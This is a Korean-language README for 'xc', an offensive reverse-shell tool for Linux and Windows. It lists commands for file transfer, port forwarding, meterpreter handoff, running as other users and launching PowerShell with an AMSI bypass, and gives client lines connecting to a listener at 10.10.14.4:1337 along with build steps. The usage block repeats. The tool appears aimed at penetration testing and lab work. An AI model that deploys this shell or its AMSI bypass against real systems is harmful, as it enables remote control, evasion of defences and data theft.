
Linux 및 Windows용 소형 리버스 셸
Linux 및 Windows용 Netcat 스타일 리버스 셸.
사용법:
└ 공통 명령어: !exit
!upload <src> <dst>
* 대상에 파일을 업로드합니다
!download <src> <dst>
* 대상에서 파일을 다운로드합니다
!lfwd <localport> <remoteaddr> <remoteport>
* 로컬 포트 포워딩 (ssh -L과 유사)
!rfwd <remoteport> <localaddr> <localport>
* 원격 포트 포워딩 (ssh -R과 유사)
!lsfwd
* 활성 포워딩 목록을 출력합니다
!rmfwd <index>
* 인덱스로 포워딩을 제거합니다
!plugins
* 사용 가능한 플러그인 목록을 출력합니다
!plugin <plugin>
* 플러그인을 실행합니다
!spawn <port>
* 지정된 포트에 다른 클라이언트를 생성합니다
!shell
* /bin/sh를 실행합니다
!runas <username> <password> <domain>
* 지정된 사용자로 xc를 재시작합니다
!met <port>
* x64/meterpreter/reverse_tcp 리스너에 연결합니다
└ OS별 명령어:
!powershell
* AMSI 우회와 함께 powershell을 시작합니다
!rc <port>
* 로컬 바인드 셸에 연결하고 이 클라이언트를 통해 재시작합니다
!runasps <username> <password> <domain>
* powershell을 사용하여 지정된 사용자로 xc를 재시작합니다
!vulns
* 일반적인 취약점을 확인합니다
사용법:
└ 공통 명령어: !exit
!upload <src> <dst>
* 대상에 파일을 업로드합니다
!download <src> <dst>
* 대상에서 파일을 다운로드합니다
!lfwd <localport> <remoteaddr> <remoteport>
* 로컬 포트 포워딩 (ssh -L과 유사)
!rfwd <remoteport> <localaddr> <localport>
* 원격 포트 포워딩 (ssh -R과 유사)
!lsfwd
* 활성 포워딩 목록을 출력합니다
!rmfwd <index>
* 인덱스로 포워딩을 제거합니다
!plugins
* 사용 가능한 플러그인 목록을 출력합니다
!plugin <plugin>
* 플러그인을 실행합니다
!spawn <port>
* 지정된 포트에 다른 클라이언트를 생성합니다
!shell
* /bin/sh를 실행합니다
!runas <username> <password> <domain>
* 지정된 사용자로 xc를 재시작합니다
!met <port>
* x64/meterpreter/reverse_tcp 리스너에 연결합니다
└ OS별 명령어:
!ssh <port>
* 지정된 포트에서 설정된 키로 sshd를 시작합니다
rlwrap xc -l -p 1337 (서버)xc.exe 10.10.14.4 1337 (클라이언트)xc_10.10.14.4_1337.exe (클라이언트)golang 버전 1.15 이상을 사용하고 있는지 확인하세요. 이전 버전은 컴파일되지 않습니다. ubuntu에서 테스트했습니다: go version go1.16.2 linux/amd64 및 kali go version go1.15.9 linux/amd64
git clone --recurse-submodules https://github.com/xct/xc.git
GO111MODULE=off go get golang.org/x/sys/...
GO111MODULE=off go get golang.org/x/text/encoding/unicode
GO111MODULE=off go get github.com/hashicorp/yamux
GO111MODULE=off go get github.com/libp2p/go-reuseport
sudo apt-get install rlwrap upx
Linux:
python3 build.py